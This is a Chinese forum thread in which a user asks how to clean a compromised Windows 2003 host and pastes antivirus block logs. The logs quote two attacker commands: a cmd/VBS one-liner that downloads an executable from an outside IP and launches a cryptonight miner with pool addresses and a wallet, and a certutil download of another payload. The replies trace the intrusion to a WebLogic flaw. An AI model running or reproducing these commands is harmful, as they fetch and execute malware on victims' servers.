V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
V2EX 提问指南
xiaonec
V2EX  ›  问与答

有台 win2003 的虚拟主机中毒,有啥办法能搞定?

  •  
  •   xiaonec · 2018-11-23 10:05:44 +08:00 · 1656 次点击
    这是一个创建于 2192 天前的主题,其中的信息可能已经有所发展或是发生改变。

    装了火绒,智能防,查毒查不出。下面是防御日志。 1 ) 操作者:D:\Oracle\Middleware\wlserver_10.3\server\bin\beasvc.exe 命令行:D:\Oracle\MIDDLE~1\WLSERV~1.3\server\bin\beasvc.exe 风险动作:隐藏执行可疑脚本 执行文件:C:\WINDOWS\system32\cmd.exe 执行命令行:"cmd.exe" /c "cmd /c echo Set xPost = CreateObject(Microsoft.XMLHTTP) > hu.vbs&@echo taskkill /IM me.exe /f&@echo taskkill /IM 3.exe /f&@echo taskkill /IM 1e.exe /f&@echo taskkill /IM te.exe /f&@echo taskkill /IM me.exe /f&@echo xPost.Open GET,http://192.99.142.248:8220/ttte.exe,0 >> hu.vbs&@echo xPost.Send() >> hu.vbs&@echo Set sGet = CreateObject(ADODB.Stream) >> hu.vbs&@echo sGet.Mode = 3 >> hu.vbs&@echo sGet.Type = 1 >> hu.vbs&@echo sGet.Open() >>hu.vbs&@echo sGet.Write(xPost.responseBody) >>hu.vbs&@echo sGet.SaveToFile ttte.exe,2 >>hu.vbs&@cscript hu.vbs&@taskkill /IM 3.exe&@taskkill /IM iee.exe&@taskkill /IM me.exe&@taskkill /IM iee.exe&@taskkill /IM ie.exe&@taskkill /IM xe.exe&@del hu.vbs&@start ttte.exe --donate-level=1 -k -a cryptonight -o 158.69.133.20:3333 -o 192.99.142.249:3333 -o 202.144.193.110:3333 -u 4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg -p x" 用户操作:已阻止 2 ) 操作者:C:\WINDOWS\system32\certutil.exe 命令行:cmd.exe /c certutil.exe -urlcache -split -f http://93.174.93.149/whdtasks.exe C:/Windows/temp/puma.exe 风险动作:利用 Certutil 下载可执行文件 执行文件:C:\WINDOWS\system32\certutil.exe 执行命令行:certutil.exe -urlcache -split -f http://93.174.93.149/whdtasks.exe C:/Windows/temp/puma.exe 用户操作:已阻止 里面装了好些个软件,服务,不想重装。

    2 条回复    2018-11-23 10:40:34 +08:00
    nicevar
        1
    nicevar  
       2018-11-23 10:14:09 +08:00
    先找到源头,是怎么破门而入的,否则重装了还是会中招,看一下上面弄下来的几个 exe 在服务器上没
    xiaonec
        2
    xiaonec  
    OP
       2018-11-23 10:40:34 +08:00
    @nicevar 找到了,应该是是 Weblogic 的漏洞。谢了。
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   2683 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 30ms · UTC 11:55 · PVG 19:55 · LAX 03:55 · JFK 06:55
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.